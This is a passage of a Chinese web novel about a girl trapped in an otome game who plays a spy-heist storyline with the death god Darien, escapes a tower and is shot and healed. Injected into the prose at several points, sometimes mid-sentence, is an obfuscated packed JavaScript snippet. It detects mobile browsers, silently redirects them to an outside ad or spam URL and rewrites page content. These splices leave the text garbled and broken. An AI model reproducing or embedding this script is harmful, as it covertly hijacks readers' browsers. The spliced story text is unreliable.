但游戏之神设置了一个额外条件：当指定的异界人，即死神代理出现时，神族将视为普通族类，重新受世界基本法则管束。】 【因受异界人影响，死神依然有自由通行的权利，但作为“代价”，死神将不会保留不同世界的记忆。 总的来说，一旦进入主线世界，死神将不会记得活动世界发生的事情，反过来也是成立的，在活动世界里，死神将不会记得主线世界发生的事情。】 柳莳萌：“……” “好长……有没有太长不看版的总结……” 达里恩在她面前晃了晃手：“你怎么了？” 柳莳萌冲他笑了笑：“没事……” 这已经是达里恩第三次发现柳莳萌长时间盯着一个地方一动不动了。他本来以为她是在发呆，但他从没见过一个人类能够发呆发的如此专注，难道这也是异界人的“特异功能”吗？ 他嘴唇微张，正准备问…… 【有的。】 【简单来说就是：剧情不互通，会忘。】 “啊你！你这不是废话吗！”柳莳萌大声道。 她太生气了，以至于忘记了死神是根本看不见主线面板的。发现情况不对后，柳莳萌赶忙捂住嘴，但达里恩只是淡淡地说了一句“好吧，我知道了”。 柳莳萌有些恍惚：等等等等，这更让人不安了，你到底知道什么了？ *** “看看这些有没有你需要的，或者还缺什么，都可以和我说。” 客厅的茶几上放着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我不是什么类型的？你的意思是，我不像是个会买面包的吗？”他叹了一口气，“真搞不明白，我在你心目中到底是有多糟糕。” “买……买面包？”柳莳萌一愣一愣又一愣的，“你去超市前台买什么面包啊？” “上面写的是德式烤肠面包，今天正在新品促销。” 柳莳萌从达里恩手中接过装好面包的包装袋。还热乎着，能透过薄薄一层的塑料袋感受到面包表皮被烤得酥脆，而面包芯的烤肠却是松软的，她稍微用力一捏，芝士糊就从烤肠头部慢慢流淌出来。 “好吃！” 咬上一小口，柳莳萌的眼睛瞬间变得亮晶晶的。 “你喜欢就好。” 空气中弥漫着丝丝甜甜的味道，这并不是达里恩身上独有的味道，但却有和他相似的地方，沉稳而温暖，品尝过后，能让人的嘴角忍不住微微上扬。 吃饱了坐在沙发上的柳莳萌决定从今天开始对他转变观念，但同时，她又感到万分纠结。 “明明在穿越进这个破游戏之后，我就决定了整个人整颗心都是属于芳汀的了，我绝对不要变成那种‘吃着碗里看着锅里’的花心女人。但是……” “或许，达里恩也没有那么糟糕？” 25. 死神的一次心跳2 “主线面板。” 【我在，死神代理。】 柳莳萌将帽檐压低，猫着腰，躲在花坛后面，实不相瞒，要在跟踪一位专业保镖的同时又让他不会发现自己，这真的太难了！ 她神神秘秘道：“我发现你们构建的主线世界有bug。” 【说来听听。】 “现在的主线剧情进度是第一章对吧，但是，达里恩要到主线第十六章才会出现，参考序章，这是不是意味着：在剧情自动推进的这段时间里，我和死神/的行动根本不会受到主线任务的约束？” 【没错，你可以这么理解。】 “那么，就有一个很严重的问题。”柳莳萌竖起一根食指，“只要我不使用你发放的好感度道具，让剧情自动推进的话，那我岂不是就彻底自由了？” 【……】 “Bingo！看来被我说中了。” 什么主线任务，什么心动剧情我可去它的吧！柳莳萌拍了拍手，从花坛后慢悠悠地走出去，正准备扬长而去。 【请问你是否要使用道具「一次心跳」？ 「是」「否」 ※注意：如果你选择了「否」，将视为放弃使用，无任何惩罚，道具「一次心跳」自动消失且永久不返还，主线剧情随时间自动推进，且在第三章自动进入活动剧情。】 “不是！你耍诈啊！”柳莳萌气得原地跺脚，“说好的道具自行使用，一被我发现有bug就改成强制使用了是吧？” 【……】 主线面板心虚地骤亮了两下：【这的确是我的失误，作为补偿，我会在游戏内的所有心动剧情中持续上线，协助死神代理完成心动任务。】 “哦？这不太对吧。”柳莳萌轻点手指，无声地敲打着某种节拍，一下一下，让主线面板再次宕机，在半空中闪烁成一块花屏板板。 “心动剧情本来就是主线剧情的一部分，那时候你应该要在，而不是作为补偿吧？” 【……不是的。】 【在本游戏世界中，心动剧情是唯一一个完全由玩家自主选择而决定羁绊走向的部分，由于羁绊的特殊性，所有面板都不允许介入干涉，就连进行说明都不被允许。】 “这样啊。”柳莳萌转念一想，“既然如此，那我也不需要你的协助了。但是，补偿必须留下。具体要什么补偿我还没有想好，等我想好了再告诉你。” 【可以。再次抱歉，这的确是不应该出现的失误，我向你承诺：只要是在我的权限能力范围内，我都会尽力补偿你。】 【现在回到最初的选择吧。 ※请问你是否要使用道具「一次心跳」？ 「是」「否」】 “嗯……”其实柳莳萌大可以选择“否”，放弃心动剧情。 反正目前对她最有用的面板补偿已经拐到手了，心动剧情不影响主线剧情自动推进，也没有任何惩罚。但柳莳萌犹豫片刻，最终还是决定按下“是”。 【专属死神“达里恩”心动剧情开启，抽卡系统上线，说明：心动剧情将根据死神代理「星月宝匣」中的已有卡牌进行随机分配。 目前「星月宝匣」中的已有卡牌数量为3，分别为：SSR千万里寻、SSR我即地狱、SR绝密行动。 随机分配结果为：SR绝密行动。】 在结果出来的一瞬间，柳莳萌的换装系统疯狂弹出红点提示，她点开一看，发现自己的衣柜多了一套新衣服。 *** 【套装：绝密隐匿者】 【专业、狡黠、灵敏，你是行走于夜幕之下的使徒，穿梭在繁华的星月城市的阴影中，在无声处，捍卫着不曾被打破的寂静之名。】 “还好还好……” 柳莳萌轻拍胸/口，虽然还不知道任务是什么，但她非常庆幸自己刚才没有放弃使用这个道具，不然就要错过白给的新衣服了。 一道深蓝色的光粒将她的全身包裹住，她的身体，连同周围瞬时扭曲的景象一并变成了马赛克……在碎光中不断重组构建，柳莳萌略微抬起手，那份沉甸甸的重量越发实感。 不知何时起，出现在手中的枪发出启动红光，十字星芒一闪而过，被灼过的掌心微微发烫。 透过信息化眼镜，她清楚地看到了“高温枪”这三个字，旁边有一串小字说明“启动后能发射升至上千摄氏度的光束，形同熔岩，能够融化一切物体”。 再一低头，被黑色蝴蝶结发带整齐扎起的高马尾干净利落，和一缕鬓前碎发，随着入夜晚风轻盈飘至空中。 起风了，而柳莳萌正身穿特工制服站在塔楼中央。 耳朵内的微缩型对讲机传来“滋滋啦啦”的杂音，她下意识嫌吵，想直接一甩手扔掉。但手指刚一动作，便不自觉地上下调整频率，杂音瞬间消失了。 仿佛她生来就知道怎么样做才能让这些精密小巧的机械乖乖听话。 “代号001，能够听到我的声音吗？” “可以。”柳莳萌还在思索此人是谁，他便迫不及待地开始介绍自己。 “我是代号000，是你本次行动的接头人，也是你的搭档。本次行动代号‘山雀’，目标是秘密入侵星月都市的办公大楼，窃取有关超级钻石的信息，收到请回复。” “明白了。” “但是，”代号000向柳莳萌传输了一份加密文件，她轻松破解打开后发现，这是一份办公大楼安保示意图，“这边显示‘发送成功’，想必你应该看到我给你发送的文件了吧。” “不知道发生了什么情况，今晚警卫部紧急调来了几十名人员对这栋办公大楼进行安全保护，我怀疑，是我们内部有人泄露了山雀行动。” “老大的意思是，我们现在没有时间去揪出叛徒了，行动按照正常计划来。” 不靠谱就算了，还想坑害你姑奶奶我？柳莳萌一挑眉，冷酷道：“什么意思？既然计划已经泄密，还按照正常计划来岂不是找死么？” “哈哈。”对面的男人不屑地笑了，似乎在嘲笑她的胆小，“找死那是对别人来说，对我们来说可不是这样。” 他言之凿凿道：“你与我，是组织中最优秀的特工和骇客，若是我们合力都无法完成本次行动，那全世界也没有第二个人能够做得到的了。” 那斩钉截铁的语气让柳莳萌十分不爽，她有一种预感：这次行动肯定要翻车！ “不过嘛，说不定翻车也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108918|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务的一环呢……” “你说什么？” “没什么。” 俯瞰高空，那繁华的喧嚣逐渐沉寂，唯有正中央的大厦依旧灯火通明，像一座孤傲的灯塔，每一扇玻璃窗在夜色中反射出冷冽的光。在光与影之间行走，她能感受到的只有静，但同时，她清楚知道一点：未知的危险就埋伏在那其中。 *** 按照代号000的指示，柳莳萌来到了他所说的地方——大楼附近的地下停车场。 “这里不在安保示意图所显示的范围内，很安全。”对讲机里传来000的声音，“向上看，从这个位置你能看到一个方形通风口，通风口所连接的通风管道直达办公大楼，001你可以从这里进去。” “在你入侵大楼期间，我会破坏大楼的红外警报器，顺带一提，那些烦人的监控你也无需担心。” “噢，000你还真是可靠呢！”柳莳萌话锋一转，“但是，这个通风口好像是封闭死的，根本没办法进去啊喂。” “这个么……就是你的工作了。” 柳莳萌：可恶啊，到头来还不是靠我自己，要你有何用！ “好吧，我知道了。” 她这头回复完000，手里便掏出早就准备好的高温枪，准星瞄准通风口的边缘，射击，高温光束迅速熔化掉铁皮，密封通风口整个掉落下来。 “搞定。” *** 爬入进通风管道，柳莳萌像敏捷的黑豹一样前行，很快便来到了尽头。她从上衣口袋里拿出一面小镜子，从身下透出微光的缝隙伸出去，通过镜面的反射察看。 这是一个仓库，整齐的货架上放了许多用透明胶带密封好的纸皮箱，有些纸皮箱被打开了，箱子里大多是电脑、折叠桌、椅子之类的办公用品。 “我到了。” 确认周围无人后，柳莳萌拆开出口跳了下去。 “很好。你现在所在的位置是一楼仓库，我们的目标是去到十楼的中央数据库，那里有存放所有加密数据的主机，其中就包括我们所需要的超级钻石。” “我已经骇入了摄像头和警报器，将它们强行关闭了，但如果警卫部的人发现异常后，他们极有可能会重新启动设备并且封锁大楼，所以你现在要赶快了。” “我该怎么过去？”柳莳萌问。 “我看看……电梯没有监控了但是前面有警卫巡逻，你可以从仓库后门的绿色安全通道上去。对了，这个你也拿着。” 000又传输了一份文件，和之前的不同，这是一份套着协议文件外壳的病毒。 柳莳萌还想仔细看看，但被000制止了，“这个东西你不用管。” “安全到了十楼后，把你的信息化眼镜里的数据线拉出来，随便插/进一个数据库主机里，之后的事情就是我的工作了，明白吗？” “……有没有人说过你的性格很糟糕？” “很多人都这么说。” 真是……坦率的让人无语啊。柳莳萌还从未见过如此目中无人的家伙，看来她之前在活动里吃的N/P/C太好了。 “滚蛋吧，等我到了中央数据库再联络。” “好。” 26. 死神的一次心跳3 中央数据库从外观上看就是一个普通的白色房间，推门进去，数十台大型纯黑主机整齐排列，内部此起彼伏地闪烁着蓝光。 粗大的电缆从主机后方一路延伸至房间边缘，周围还有成簇的小电线，密密麻麻地铺设在金属地板上。 风扇和电流低沉嗡鸣，似乎是为了让机器能够不间断正常运作，这里的空调温度设置极低。 柳莳萌搓了搓手背：“好冷，还是赶快完成任务出去吧。” 她没有忘记000之前说过的事情。 信息化眼镜的镜框内配备了一根数据线，只要按下边框侧边的小按钮，数据线就会自动弹出。柳莳萌将数据线与一台主机表面的端口对齐，眼镜闪过一次绿光，就算是大功告成了。 “我这边都好了，000你那边是什么情况？” 000并没有回话。 柳莳萌以为是他在忙着破解加密文件，没有时间回话，但整整过去十分钟了000都没有吭声，这就很不对劲了。 莫名地，她心里咯噔一下，不安的感觉开始扩大：“不是，你倒是说句话啊！” “……快” 对讲机里终于传来讯号，柳莳萌总算放下心来，可还没落到踏实的地方，000接下来说的话又让她的心一下子提到嗓子眼。 “……快跑。” “怎么回事！到底发生什么事情了！” “不可能……我给你的病毒在你接入主机的时候，被什么东西瞬间吞噬了。” “这在理论上根本不可行，也不可能瞬间完成！而且，他们还在这个过程中反获取到了我们的定位信息……这根本……就不是人类能够做到的事情……！” 【那当然咯，因为我根本就不是人类哇。】 对面突然传来了不是000的声音。 这个声音柳莳萌很熟悉，她在玩游戏的时候听到过，“这难道是……跟随在死神身边的冥界使者？” 冥界使者只会在人死后出现才对的！ 【你准备好受死了吗？】 “啊啊啊啊啊啊啊啊啊啊啊啊啊————！” 000的惨叫声在对讲机中回响，柳莳萌的耳朵一痛，感觉像要撕裂一样：耳朵好痛，糟糕，我好像耳鸣了。她当机立断摘掉微缩型对讲机，单手捏碎，而后砸碎玻璃窗，将信息化眼镜扔了出去。 “呜呜，我的免费漂亮衣服配饰啊……” 搭档死时，柳莳萌的内心毫无波动，但毁掉漂亮衣服却让她的内心隐隐作痛。 但她已经没有时间缅怀它们了，“000死亡了，山雀计划已经失败，现在最重要的事情是保住性命，不能让他们继续追踪我的定位。” 「耳部饰品“微缩型对讲机”已返还至衣橱，替换为腰部饰品“钩爪枪”」 「面部饰品“信息化眼镜”已返还至衣橱，替换为耳部饰品“单边反追踪耳环”」 “什么？” “衣服居然不会消失，而是替换？” 这也太爽了吧！柳莳萌一边朝门口走，一边撩开长发，二指夹住耳垂中心轻点一下，像一枚小圆钉的反追踪耳环便出现在她的耳朵上。 再一掀衣服下摆，钩爪枪像小巧的吊坠，被一根细麻绳捆好悬挂在她的腰带间。 “真方便。” 柳莳萌自信抬眸，眼中倒映出夜幕的熠熠星光，如有银河流泻：“说不定我真能从这栋大楼里成功逃出去呢。” *** 一楼，黑压压的警卫部人员已经在楼梯口和电梯口处迅速集结，他们整装待发，只要一声令下，就能够向中央数据部袭来。 “嗯……往下走看来是行不通的了，那往上呢？”柳莳萌目光向上。 除了安全通道和电梯外，十楼还有一个白色旋转楼梯，像蛇骨游/行一样蜿蜒向上，看不到尽头，也不知道通往何处。柳莳萌犹豫了，因为这个东西的存在实在是太过突兀，但如此诡异又如此美感的东西…… 一看就是为咱们美少女玩家而生的嘛！ 她踏上了白色的台阶，继续逃亡之路。 越往上走，那些曾经压迫感十足的警卫部的声音越发远了。 “……地毯式搜索十楼！务必不要放过任何一个可疑目标！” “……报告队长！已搜索完毕，未发现可疑目标！” “……你说什么？！” “……去搜，再探再报！” “……是。” 柳莳萌心觉奇怪：“他们难道是看不见这个楼梯的么？” “嗯。这并不是人依靠自己的双手修建起来的楼梯，而是由我的神力凝聚而成的楼梯，普通人自然是看不到的。”达里恩从旋转楼梯上一层缓缓走下来，“但我没有想到，真的是你。” “如果你刚刚选择呆在原地不动，束手就擒，我会用我的人类身份替你求情，叫他们放了你，但，既然你选择了上来，那我们就好好谈谈。”达里恩抬起手。 黑漆漆的枪口对准了柳莳萌。 “我再问你一遍，你到底是谁？来这里的目的又是什么？” 柳莳萌微眯双眼：“你拿枪指我？” “这些问题的答案对你来说有那么重要吗？你是高高在上的死神，谁能伤害你呢？就算我可以做到，可从始至终我都没有伤害过你，而你，你竟敢拿枪指着我！” 她紧咬下唇，指尖微动。 “既然你先不仁，那就别怪我不义了。” 她没忘记自己的手中也有一把枪，而且，只要她的速度够快，高温枪的瞬时高温能够完全熔化达里恩手中的手/枪。 “我……” 达里恩迟疑了。 黑西装的绑带之下，白衬衣勾勒出他精瘦健硕的身材，他略微仰头，下颌骨如锋刀般锐利，曾经那份令她心安的安全感消失了，取而代之的是浓重夜色中的危险。 她本以为，他绝不会成为那可耻的“背叛者”角色。 可现实终究是让人失望。 “我不是以一个死神/的身份站在这里。”他叹了一口气，“而是以一个受雇主所信任的保镖的身份问你，请你不要回避，郑重地回答我的问题。” “哈哈…”柳莳萌蓦地笑了。 她能听的出来：达里恩所说的每一个字都像是从牙缝间挤出来的一样。比起自己的失望，他更像是震惊到失去了所有言语能力，只会像个机器一样重复他所应该要说的话。 ——从意识到的这一刻起，她便赢了。 “所以呢？” “如果我不回答的话，你会开枪吗？”柳莳萌慢慢走近。她像只危险的黑豹靠近猎物那样，一步一步靠近他，直到他的枪能够对准她的额头，按下扳机，一击致命。 “你以为我不敢吗？”达里恩反问她。 可是，别以为她没有听出来，如此紧绷地说出狠话的人，往往是最难以狠下心来做事的。“对，你不敢，现在你有两个选择，一让路放我走，二被我胖揍一顿然后放我走。” 柳莳萌内心OS：心动剧情好像是这么玩的，没错吧？ 虽然柳莳萌没玩过，但她调动大脑充分深思熟虑过了：既然达里恩这一角色是《与死神同行》中的人气垫底角色，官方想要让玩家乖乖吃谷，必然需要另辟蹊径。 比如，放弃大众口味，转去抓住那些比较小众玩家的古怪癖好，便是一个很常见的商业手段。 接下来，按照她的设想，饶是达里恩的脾气再好，此时也该被自己所激怒了。愤怒的死神将会一气之下掐住她的脖子，将她困在墙角，用足以令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108919|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窒息但是不致使人死亡的力度逼她就范。 “……虽然但是，”柳莳萌全身寒毛倒竖，“艾斯爱慕对我来说还是太超过了！” “不行。” “你不能走。”达里恩决然道。 他的眼神并不是她所设想的愤怒的眼神，而是出奇地平静，波澜不惊，像看着一个将死的人。 达里恩是真心想要杀死我。 我必须要逃跑才行！在脑海中冒出这个想法的一瞬间，柳莳萌的脚动了，她先是大步后撤，退到离他几步路远的距离，然后弹射起手，迅速抬起手中的武器自保。 柳莳萌将准星瞄准了他的肩膀，因为这样他就不能拿手/枪威胁自己了。 “啊——！” 但达里恩身经百战，他的双手夺取了太多人类的性命，以至于只要他们做出一个细微的动作，他便能迅速反应。他以更快的速度抬起手，而他的准星，是她手中的武器。 柳莳萌的高温枪被子弹震飞出去数米远，她眼睁睁地看着它从边缘滑落，再无可能拿回来了。 “但你果然不会杀我，是我赢了！” 其实，失去高温枪早在柳莳萌的计划之中。 这类武器对不可移动的建筑和对那些有固定移动路径的机器来说都很好用，但若是对上死神，就是个既显眼又笨重的武器。 作为时装衣橱系统的一部分，武器是能够替换的，柳莳萌要赌的，就是这一瞬间！ *** 「手部饰品“高温枪”已返还至衣橱，替换为手部饰品“击剑用花剑”」 “啊这，这破游戏真的……不是在整我吗？” 柳莳萌傻眼了。 与其说花剑是“剑”，不如说是“训练道具”更恰当些。柳叶形的剑身轻薄，细长，而且非常柔/软，稍一用力就能够弯折。在这生死存亡之际，别说是用来保命了，就算是拿来挡刀都够呛。 “这和绣花针有什么区别嘛！不对，这好像连绣花针都不如吧！！！”柳莳萌欲哭无泪。 “你怎么了？”看她突然失落难过的样子，达里恩不经意间吐出了这句话。 真是奇怪。 他不知道自己为什么会担心一个目的不明的闯入者，但莫名地，他觉得自己“应该”要这么说。好像前不久也发生过类似的事情，这难道就是收留无家可归的女高中生会产生的不良习惯之一吗？ 柳莳萌并没有接话。 废话！打不过当然是选择躺下卖萌啦！在硬挤出几滴眼泪后，她突然发现达里恩的右边多了一道能够容纳一个人径直通过的空隙。 柳莳萌暗搓搓心道：我趁他不注意应该能从那边过去，但是，我该怎么样才能吸引他的注意力呢？ “……” “快看！那里有飞机！”柳莳萌往左边一指。 达里恩还真往左后方向看过去了。 ——好机会！ 趁他向后看的时候，柳莳萌火速起身往他的右边跑，但是，一个死神/的反应力又怎么能和人类相提并论呢？仅仅三秒钟，她还没能够通过空隙，就被达里恩察觉到了。 “你要使用这种下三滥的小手段到什么时候……”望着她的达里恩皱了一下眉，他还真不知道自己的忍耐力竟然有这么好。 “放心。” 在他们的距离近到几乎能够看清彼此的眼睫时，柳莳萌将食指放在眼睑下，耷拉着眼，朝他做了一个鬼脸突袭。 “我和你保证，下一次就不是这种下三滥的小手段了哦。” “你说什么？”达里恩闻言一愣。 虽然武器的替换很看运气，而柳莳萌一向运气极差，但她的确刷出来了一个非常适合用来逃生的“秘密武器”。 而这，将成为再次逆转的“关键”。 27. 死神的一次心跳4（完） 柳莳萌的秘密武器就是“钩爪枪”。 她对准了达里恩身后的旋转楼梯扶手，“哧咔”，灵巧钩爪牢牢抓住扶手，随即，她翻身跃下楼梯，利用绳索牵引，荡秋千般地落到玻璃窗旁。 “再见啦，我可爱的保镖~” 说完，柳莳萌的马丁靴像对待路边的垃圾一样向下奋力一踩，脆弱玻璃在尖锐鞋跟的切割之下破碎，分崩离析。 所有碎片如同月相环绕在她的身侧，如流星坠落，柳莳萌借着这一瞬蹄踏的反作用力，将缠绕在扶手上的钩爪收回枪芯内。终于逃出了大楼外，她第一次发现星月都市的月亮要比现实世界的成倍大。 “等等——” “这个高度好像不太对吧？！” 明明是从十楼跳下来的，可为什么这个高度倒看着像是二十三楼？难道达里恩用神力创造的楼梯让她所在的楼层发生了变化吗？ “十楼我或许还有可能活下去吧，鹅滴个老天鹅啊，这个高度我是真的会死翘翘的啊啊啊——！！！” 光是拼尽全力保持身体平衡就已经非常困难了，随之而来的是，她将在近乎垂直的大楼表面高速滑降。 从柳莳萌的视角上看，地面就像会移动那般向她疯狂逼压过来，呼啸而过的夜风刺痛了她的鼓膜，卷起的玻璃碎片像倒流的阵雨，切割着与夜色融为一体的长发。 她嗅闻到了死亡的味道，就来自于正后方。 *** “咳咳！” 柳莳萌狼狈地从垃圾堆里爬了出来。 她惊魂未定，根本不敢回头看。在大口喘息片刻后，柳莳萌慢慢缓过神来：“这次死里逃生，好在有这个神器钩爪枪。” *距离落地30秒前 就在柳莳萌快要以身触地，粉身碎骨的时候，她忽然发现下方有一个垃圾处理场。 垃圾处理场里只有几个机器人和压缩机在工作，周围看不到一个人，而且它们速度很慢，很多垃圾还没处理完，全是成堆成堆的，用塑料袋包装好堆成小山丘的样子。 事情就这样坏端端的好起来了。 如果就这样掉进垃圾堆里，兴许她能捡回一条命！ 但办公大楼距离垃圾处理场起码有一条公路的距离，柳莳萌灵机一动，她拿出钩爪枪，对准压缩机的滚轴，滚轴会将钩爪往里带，而越发狭窄的空间能够让钩爪卡住，成为一个牢固的支点。 而钩爪被往里带的时候，她整个人会被惯性往前甩，这正好可以跨越一条马路的距离，运气够好的话，说不定还能被直接甩进垃圾堆里。 事实证明，幸运女神这次选择了站在她这一边。 *** “这算什么心动剧情啊……” 柳莳萌爬起来后愤愤吐槽，“我看应该改名叫‘心跳剧情’，玩的就是心跳，嘶……”她转了转胳膊，感觉手臂隐隐有撕裂感。 毕竟从那么高的地方跳下来，不死就够不错的了，但是为什么游戏里的疼痛会这么真实啊？没有免除疼痛系统吗？想着想着，柳莳萌的眼睛忍不住要掉小珍珠了。 “吱呀”—— 有人。 “是谁在那里！” 一瞬间，所有的疼痛她都顾不上了，她现在只想从这个该死的剧情里出去。对方没有立刻出声，似乎是还想耐心观察她一阵，又过去了一段时间，柳莳萌看见黑色的角落里升腾起青灰色的烟圈。 “001，我对你太失望了。” 说话的中年男人从角落走出来，他的嘴里叼着劣质香烟，猛地一口气吸到最底。之后，他借着身旁的墙壁掐灭了香烟，烟蒂把木板烫出了一圈漆黑。 他懒洋洋说道：“虽然这次的任务难度系数很高，但是组织估算过了，以你和000的实力不应该会失败才对。” 打火机的火光照亮了男人的半边侧脸，柳莳萌这才发现他的右眼上有一道狰狞的刀疤，“中央数据库里的东西对我们来说很重要，若是失去了这次宝贵的机会……说不定连下一次也不会再有了。” “什么意思？”柳莳萌抿紧嘴唇。 “意思就是，若是计划失败，那些狡猾的条子就会盯上我们，到时候组织里的人谁都逃不掉。”他的右眼闪过一道险恶的光，“你们不能活着。” 他们要杀/人/灭/口！ 柳莳萌刚转头逃跑，一颗子弹就贯/穿了她的肩膀，满目刺红，灼热的剧透让她踉跄跪地，“啊，这下子，是真的忍不住要掉小珍珠了……” 她的泪水顷刻滑落。 若说柳莳萌迄今为止还有什么后悔的事情，那就是没在刚刚跳下来的时候直接摔死，她以身亲测：重头再来的滋味也好过当场射死。 “……” 【你准备好受死了吗？】 *** 她哭了。 他不得不承认：这是一种有点奇怪的感觉。 在此之前，达里恩从没有关心过人类哭泣时的样子，他只知道人类的泪水是咸的，除此之外再无其他。同样的，达里恩也从没有见过柳莳萌哭泣时的样子，因此，他以为自己会毫无感觉。 但他错得离谱。 为什么她的肩膀一直在颤抖呢？达里恩反问自己，但他并不知道这个问题的答案。他只知道：她仿佛被抽干了所有的力气，跪倒在地，像一束快要枯萎的白玫瑰，被划开的枝茎渗出红色的血液，在冰冷的地面上洇开小小的水花。 月光透过她的发丝洒下，映得她的脸庞愈发苍白，泪光在她眼中闪烁，像是星辰坠入了深海。 人类是何等美丽，又何等脆弱的种族。 达里恩觉得这一幕不忍直视，但又忍不住一直凝望，他像一个有罪的偷窥者，可罪人分明是她才对……到了最后，就连他自己都搞不清楚这种感觉到底是什么了，他只觉得地狱火在身体深处一寸一寸地膨胀…… “我好奇怪。” 达里恩按住自己的心口：“好像只有把他杀了，这里才会好受一些。” *** “你还记得他是用哪一只手开枪的吗？” “记不清了，好像……好像是右手。”柳莳萌奄奄一息的时候听到了达里恩的声音。 她没觉得他是来救她的。 他八成是来带我走的吧，柳莳萌心想。这个狗男人的性格为什么这么怪，取人性命的时候还要做笔录的吗？气死人了，难怪人气垫底，你不垫底谁垫底！ “……咦？” 感受到自己被一股强大的力量轻轻抱起，柳莳萌惊讶地看着他，虚弱道，“你，你不是来取走我的性命的？” “不是。”达里恩回。 得到肯定的回答，她才安心把冷汗打湿的额头靠在他的肩膀上。 “等等……我还有……想问你的问题……”柳莳萌皱眉，可话未出口，达里恩就将手放在了她的眼睛上。 “我知道了，睡吧。” “人类的身体失血过多是会死的，你最好暂时不要说话。等你睡一觉醒来的时候，我会如约出现在你的面前的。” 柳莳萌缓缓闭上双眼，她的手不自觉揪紧他的黑西服：死神/的话语一定有什么魔力的吧？再不然，就是她真的魔怔了。 【正在为你载入下一段剧情……】 【死神代理你好，我是主线面板。想必你现在应该对这种情况感到十分疑惑吧，趁你昏迷不醒的这段时间，我来为你进行特别说明。 心动剧情是根据你所选择的路线，与死神增进羁绊的内容。而你在最开始抽取到的卡面是死神/的身份卡，身份卡会为剧情提供角色背景，此后所有剧情完全随机，只会受你的选择影响具体走向。 这个具体走向指的就是乙女游戏中所说的“路线”。 目前来看，你选择了最刺激、最危险同时也是最刻骨铭心的“逃亡者路线”。 经过系统协力分析，造成这个局面，恐怕是因为死神代理你的内心并未完全相信死神所致，一般这种路线是不会走向好结局的，请死神代理做好心理准备。】 【很快，你将从沉睡中醒来。】 【……剧情载入完成。】 “啊！” 柳莳萌从睡梦中惊醒，看见达里恩衣服未换，就坐在自己身旁安静看书，她又默默躺了回去。她企图通过装睡来达到萌混过关的目的，但达里恩很快将希望的幼苗掐死在了萌芽中。 他阖上书：“起来，我知道你已经醒了。” “……好嘛。”柳莳萌不情不愿道。 她慢吞吞起身，发现自己受伤的肩膀已经用白色纱布包扎好了，稍微动了动，似乎不怎么疼，于是她解开纱布查看伤口，发现伤口也已经痊愈了。 “怎么回事？”柳莳萌抬头问，“你干的好事？” 达里恩点了点头：“我平时收割人类的性命积攒了很多生命力，这些生命力能够加快伤口的恢复速度。”他张开手，一道酷似北极光的暗流在他的掌心间涌动，“如果你能看得到神力，那么应该也能看得到这个吧。” “你为什么要救我？”柳莳萌偏开头。 “别搞错了，我说的并不是我的伤口。你都看到了对不对，我是带着任务来的入侵者，因为你任务失败了，结果他们转过头来想杀掉我。” “刚才让那个男人杀掉我不就好了吗？” “这样你的目的也就达到了。” 出乎意料的，面对她的质问，达里恩只是沉默不语。 “是谁？” “是谁告诉你我想让你死的？” 这是柳莳萌第一次看到达里恩发火，像一座沉寂了许久的火山，到了现在才一口气喷发出来。 害怕、心慌、恐惧、想要逃跑，这些感受都是真实的，如同一个即将直面死亡的未亡人，柳莳萌止不住全身战栗，可这其中的一丝不真实感又让她心觉恍惚：他是在为了我而愤怒吗？ 柳莳萌后悔了。 诚如面板所言，她的确不相信达里恩是真心想要放过自己，但那只是因为，她以为达里恩对自己毫无感情。曾经哪怕是一丁点可能性存在，都被她无情地否定了。 因为在游戏里，死神不可能会爱上除了玩家以外的人。 正是抱着这样的想法，引领着柳莳萌走到她的死神/的面前。但是，这种想法实在太过天真、太过荒谬、太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一般多坏结局路线前期会有各种各样的死亡。什么“如果一开始不好好完成任务的话就被搭档000背刺害死”，还有什么“如果一开始在通风管道跑错道了就会迷路到死”。 在没见到死神之前投降也是行不通的，警卫部队长会直接把你射死。】 【非常幸运的是，死神代理你已经成功了一半了！】 一瞬间，感受到指尖传来一阵刺痛，柳莳萌向下看去，原来是达里恩突然闭上嘴，用牙咬住了她的指尖，显然没用尽全力，但是也有些疼。 “你咬我干嘛？”柳莳萌问。 达里恩舔了舔牙，回道：“你不专心。” 她捧起他的脸，左看看，右看看，最后掰正了，按住脑袋认真观察，“我觉得你这里有毛病。” “我不专心和你说话你就咬我，你是属狗的哇？” 达里恩真像狗一样哼哼唧唧起来，他解开衬衣，一头黑发坠在耳旁，长度刚刚好能够挨住锁骨，蓬松柔顺，看起来就很好摸的样子。 “这是礼节问题。” “先来后到可是人类定下的礼节。一开始和你说话的人不是我么？为什么你总要去看那些后来的人。”他挠了挠柳莳萌的下巴。 